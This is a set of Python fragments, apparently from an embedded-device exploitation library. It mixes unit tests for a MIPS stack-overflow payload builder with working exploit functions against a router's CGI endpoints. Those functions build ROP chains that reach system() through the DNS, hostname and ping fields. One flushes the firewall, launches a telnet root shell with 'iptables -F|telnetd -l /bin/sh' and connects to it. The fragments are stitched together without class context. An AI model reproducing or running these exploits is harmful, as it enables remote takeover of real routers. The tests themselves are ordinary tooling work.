def test_large_overflow(self): self.overflow = mow.Overflow(0x3C, 9, mow.BIG_ENDIAN) self.overflow.ra = 0x41414141 of = self.overflow.generate() self.assertEqual( of, b'XXXXXXXXXXXXXXXXXXXXAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIAAAA')
def test_overflow_string(self): self.overflow = mow.Overflow(12, 0, mow.BIG_ENDIAN, overflow_string_contents='abcd') of = self.overflow.generate() self.assertEqual(of, b'XXXXJJJJ')
def test_padding_after_ra_rop_to_text(self): self.overflow = mow.Overflow(8, 0, mow.LITTLE_ENDIAN, padding_after_ra=4) self.overflow.ra = 0x414243 with self.assertRaises(Exception): self.overflow.generate()
def test_rop_to_text(self): self.overflow = mow.Overflow(12, 0, mow.LITTLE_ENDIAN, overflow_string_contents='abcd') self.overflow.ra = 0x414141 of = self.overflow.generate() self.assertEqual(of, b'XXXXAAA')
def test_gadget_base(self): self.overflow = mow.Overflow(9, 0, mow.BIG_ENDIAN, gadgets_base=0x11111111) self.overflow.ra = 0x111111 of = self.overflow.generate() self.assertEqual(of, b'XXXXX\x11\x22\x22\x22')
def test_default_values(self): overflow = mow.Overflow(0x20, 2, mow.LITTLE_ENDIAN) self.assertEqual(overflow._register_dist, 0x14) self.assertEqual(overflow._register_count, 2) self.assertEqual(overflow._endianess, mow.LITTLE_ENDIAN) self.assertEqual(overflow._padding_after_ra, 0) self.assertEqual(overflow._gadget_base, 0) self.assertEqual(overflow._overflow_string_contents, '') self.assertEqual(overflow._bad_bytes, None)
def test_register_values(self): overflow = mow.Overflow(1, 9, mow.LITTLE_ENDIAN) self.assertEqual(overflow.s0, b'AAAA') self.assertEqual(overflow.s1, b'BBBB') self.assertEqual(overflow.s2, b'CCCC') self.assertEqual(overflow.s3, b'DDDD') self.assertEqual(overflow.s4, b'EEEE') self.assertEqual(overflow.s5, b'FFFF') self.assertEqual(overflow.s6, b'GGGG') self.assertEqual(overflow.s7, b'HHHH') self.assertEqual(overflow.fp, b'IIII')
def test_settings_values(self): overflow = mow.Overflow(0x20, 2, mow.LITTLE_ENDIAN, padding_after_ra=5, gadgets_base=6, overflow_string_contents='a', bad_bytes=[1]) self.assertEqual(overflow._register_dist, 15) self.assertEqual(overflow._register_count, 2) self.assertEqual(overflow._endianess, mow.LITTLE_ENDIAN) self.assertEqual(overflow._padding_after_ra, 5) self.assertEqual(overflow._gadget_base, 6) self.assertEqual(overflow._overflow_string_contents, 'a') self.assertEqual(overflow._bad_bytes, [b'\x01'])
def generate_exploit_packet(host, port, command): """ Generate packet to exploit the target. :param host: Target IP address. :type host: str :param port: Target listening port. :type port: int :param command: Command to execute on successful exploitation. :type command: str :return: Packet to send to target. :rtype: bytes """ rop1 = 0x3e164 rop2 = 0x53168 rop3 = 0x3ca64 system = 0x57b1c overflow = mow.Overflow(0x90, 3, mow.LITTLE_ENDIAN, 0, 0x76fd5000, '1 ') overflow.ra = rop1 overflow.add_to_stack(0x3c, address=rop2) overflow.add_to_stack(0x34, address=rop3) overflow.add_to_stack(0x2c, address=system) overflow.add_to_stack(0x68, command=command.replace(' ', '${IFS}')) overflow_string = overflow.generate() data = { b'ccp_act': b'set', b'action': b'wizard_wan', b'cameo.wan.wan_proto': b'dhcpc', b'cameo.wan.wan_primary_dns': b'1', b'cameo.wan.wan_secondary_dns': overflow_string } # Build the data into key=value&key1=value1&key2=value2 form. data = b'&'.join(b'%s=%s' % (key, value) for key, value in data.items()) request = mow.CustomRequest(host, port, mow.POST, b'apply_sec.cgi', data=data) packet = request.create_packet() return packet
def generate_exploit(host, port, command): """ Generate packet to exploit the target. :param host: IP address of the target. :type host: str :param port: Listening port of the target. :type port: int :param command: Command to execute upon successful exploitation. :type command: str :return: Packet to send to the target. :rtype: bytes """ rop1 = 0x3e164 rop2 = 0x53168 rop3 = 0x3ca64 system = 0x57b1c overflow = mow.Overflow(0x114, 2, mow.LITTLE_ENDIAN, 0, 0x76fd5000, 'uci set network.wan.hostname=') overflow.ra = rop1 overflow.add_to_stack(0x3c, address=rop2) overflow.add_to_stack(0x34, address=rop3) overflow.add_to_stack(0x2c, address=system) overflow.add_to_stack(0x68, command=command.replace(' ', '${IFS}')) overflow_string = overflow.generate() data = { b'ccp_act': b'set', b'action': b'wizard_wan', b'cameo.wan.wan_proto': b'pptp', b'cameo.wan.wan_pptp_dynamic': b'1', b'system.@system[0].hostname': overflow_string } data = b'&'.join(b'%s=%s' % (key, value) for key, value in data.items()) request = mow.CustomRequest(host, port, mow.POST, b'apply_sec.cgi', data=data) packet = request.create_packet() return packet
def generate_exploit_packet(host, port, command): """ Generate exploit packet to send to the router. :param host: Target IP address. :type host: str :param port: Target listening port. :type port: int :param command: Command to execute on successful exploitation. :type command: str :return: Packet to send to the target. """ # All addresses are offsets in libuClibc-0.9.33.2.so rop1 = 0x3e164 rop2 = 0x53168 rop3 = 0x3ca64 system = 0x57b1c overflow = mow.Overflow(0x108, 1, mow.LITTLE_ENDIAN, gadgets_base=0x76fd5000) overflow.ra = rop1 overflow.add_to_stack(0x3c, address=rop2) overflow.add_to_stack(0x34, address=rop3) overflow.add_to_stack(0x2c, address=system) overflow.add_to_stack(0x68, command=command.replace(' ', '${IFS}')) overflow_string = overflow.generate() request = mow.CustomRequest(host, port, mow.GET, b'apply_sec.cgi?%s=asdf' % overflow_string) packet = request.create_packet() return packet
def test_nine_registers_no_fp(self): overflow = mow.Overflow(1, 9, mow.LITTLE_ENDIAN, uses_fp=False) self._test_registers( overflow, ['s0', 's1', 's2', 's3', 's4', 's5', 's6', 's7', 'fp'], [])
def test_bad_logger(self): with self.assertRaises(Exception): mow.Overflow(1, 9, mow.LITTLE_ENDIAN, logging_level=5)
def test_warn_logger(self): overflow = mow.Overflow(1, 9, mow.LITTLE_ENDIAN, logging_level=mow.log_level.WARN) self.assertEqual(overflow._logger.getEffectiveLevel(), logging.WARN)
def test_stack_write_rop_to_text(self): self.overflow = mow.Overflow(8, 0, mow.LITTLE_ENDIAN) self.overflow.ra = 0x414243 self.overflow.add_to_stack(10, command='FDSA') with self.assertRaises(Exception): self.overflow.generate()
def test_big_endian_rop_to_text(self): self.overflow = mow.Overflow(8, 0, mow.BIG_ENDIAN) self.overflow.ra = 0x414243 with self.assertRaises(Exception): self.overflow.generate()
def test_bad_bytes_in_stack(self): self.overflow = mow.Overflow(8, 0, mow.BIG_ENDIAN, bad_bytes=[0x41]) self.overflow.add_to_stack(10, command='FDSA') with self.assertRaises(Exception): self.overflow.generate()
def setUp(self): self.overflow = mow.Overflow(1, 0, mow.LITTLE_ENDIAN, bad_bytes=[1, 2, 3])
def test_bad_endian_value(self): with self.assertRaises(Exception): mow.Overflow(1, 1, 'big')
def test_error_logger(self): overflow = mow.Overflow(1, 9, mow.LITTLE_ENDIAN, logging_level=mow.log_level.ERROR) self.assertEqual(overflow._logger.getEffectiveLevel(), logging.ERROR)
def setUp(self): self.overflow = mow.Overflow(1, 0, mow.LITTLE_ENDIAN, gadgets_base=0x11111111) self.overflow._has_bad_bytes = mock.Mock()
def test_padding_after_ra(self): self.overflow = mow.Overflow(9, 0, mow.BIG_ENDIAN, padding_after_ra=4) of = self.overflow.generate() self.assertEqual(of, b'XJJJJXXXX')
def exploit_target(host, port, telnet_port, username, password): """ Send the exploit to the target and connect to the reverse shell. :param host: Target IP address. :type host: str :param port: Target port. :type port: int :param telnet_port: Telnet port to open on the target. :type telnet_port: int :param username: Username used for authentication. :type username: str :param password: Password used for authentication. :type password: str """ # Drop firewall rules to allow connecting to the telnet server. '|' is used because ';' and '&' are dropped when # present in the header. telnet_command = '`iptables -F|telnetd -l /bin/sh -p %d`' % telnet_port authenticate(host, port, username, password) rop1 = 0x3e164 rop2 = 0x53168 rop3 = 0x3ca64 system = 0x57b1c overflow = mow.Overflow(0x228, 3, mow.LITTLE_ENDIAN, 0, 0x76fd5000, 'ping result: ') overflow.ra = rop1 overflow.add_to_stack(0x3c, address=rop2) overflow.add_to_stack(0x34, address=rop3) overflow.add_to_stack(0x2c, address=system) overflow.add_to_stack(0x68, command=telnet_command.replace(' ', '${IFS}')) overflow_string = overflow.generate() data = { b'ccp_act': b'set', b'action': b'tools_diagnostic', b'method': b'0', b'ip_addr': overflow_string, b'pkt_size': b'64', b'cnt': b'4' } data = b'&'.join(b'%s=%s' % (key, value) for key, value in data.items()) request = mow.CustomRequest(host, port, mow.POST, b'apply.cgi', data=data) packet = request.create_packet() tn = telnet_connect(host, telnet_port) while tn is None: try: mow.send_packet(host, port, packet, True) except: continue tn = telnet_connect(host, telnet_port) tn.interact()
def test_small_overflow(self): self.overflow = mow.Overflow(0, 0, mow.BIG_ENDIAN) of = self.overflow.generate() self.assertEqual(of, b'JJJJ')
def test_register_count_high(self): with self.assertRaises(Exception): mow.Overflow(1, 10, mow.LITTLE_ENDIAN)
def test_seven_registers(self): overflow = mow.Overflow(1, 7, mow.LITTLE_ENDIAN) self._test_registers(overflow, ['s0', 's1', 's2', 's3', 's4', 's5', 'fp'], ['s7', 's6'])
def test_bad_bytes(self): self.overflow = mow.Overflow(8, 1, mow.BIG_ENDIAN, bad_bytes=[0x41]) self.s0 = 0x42424241 with self.assertRaises(Exception): self.overflow.generate()
def setUp(self): self.overflow = mow.Overflow(1, 0, mow.LITTLE_ENDIAN)